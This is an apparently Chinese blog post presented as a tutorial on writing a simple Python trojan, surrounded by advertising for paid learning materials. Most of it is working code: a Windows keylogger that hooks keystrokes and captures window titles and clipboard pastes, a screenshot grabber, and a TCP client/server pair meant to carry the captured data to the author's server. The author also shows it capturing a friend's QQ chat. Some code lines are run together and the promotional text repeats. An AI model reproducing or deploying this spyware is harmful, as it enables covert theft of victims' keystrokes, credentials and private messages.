如何使用Python编写简易木马程序,2024年Python大厂面试

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Python全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img



既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Python知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024c (备注Python)
img

正文

# -*- coding: utf-8 -*-  from ctypes import *import pythoncomimport pyHookimport win32clipboard
 
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
 #def get_current_process():
 
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()
 
    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
 
    # 将进程ID存入变量中
    process_id = "%d" % pid.value 
    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 
    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
 
    # 打印
    print
    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    print
 
    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
 # 定义击键监听事件函数def KeyStroke(event):
 
    global current_window 
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName        # 函数调用
        get_current_process()
 
    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii),
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 循环监听下一个击键事件
    return True
 # 创建并注册hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke 
# 注册hook并执行kl.HookKeyboard()pythoncom.PumpMessages()12345678910111213

【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:

然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录:

切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。

看看你在干什么:编写一个screenshotter

截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码:

# -*- coding: utf-8 -*-  import win32guiimport win32uiimport win32conimport win32api 
# 获取桌面hdesktop = win32gui.GetDesktopWindow()
 # 分辨率适应width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
 # 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)
 # 创建一个内存设备描述表mem_dc = img_dc.CreateCompatibleDC()
 # 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)
 # 截图至内存设备描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
 # 将截图保存到文件中screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
 # 内存释放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

看看效果如何:

综合运用:完成一个简易木马

无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。

编写一个简单的TCPclient

# -*- coding: utf-8 -*-import socket 
# 目标地址IP/URL及端口target_host = "127.0.0.1"target_port = 9999
 # 创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 # 连接主机client.connect((target_host,target_port))
 # 发送数据client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
 # 接收响应response = client.recv(4096)
 print response1234567891011121314151617181920

编写一个简单的TCPserver

# -*- coding: utf-8 -*-import socketimport threading 
# 监听的IP及端口bind_ip = "127.0.0.1"bind_port = 9999
 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 server.bind((bind_ip,bind_port))
 server.listen(5)
 print "[*] Listening on %s:%d" % (bind_ip,bind_port)
 def handle_client(client_socket):
 
    request = client_socket.recv(1024)
 
    print "[*] Received:%s" % request
 
    client_socket.send("ok!")
 
    client_socket.close()
 while True:
 
    client,addr = server.accept()
 
    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
 
    client_handler = threading.Thread(target=handle_client,args=(client,))
 
    client_handler.start()1234567891011121314151617181920212223242526

开启服务端监听:

客户端执行:

一、Python所有方向的学习路线

Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、学习软件

工欲善其事必先利其器。学习Python常用的开发软件都在这里了,给大家节省了很多时间。

三、入门学习视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024c (备注python)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
尝辄止,不再深入研究,那么很难做到真正的技术提升。**

需要这份系统化的资料的朋友,可以添加V获取:vip1024c (备注python)
[外链图片转存中…(img-dXkKAUxg-1713245540455)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 13
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值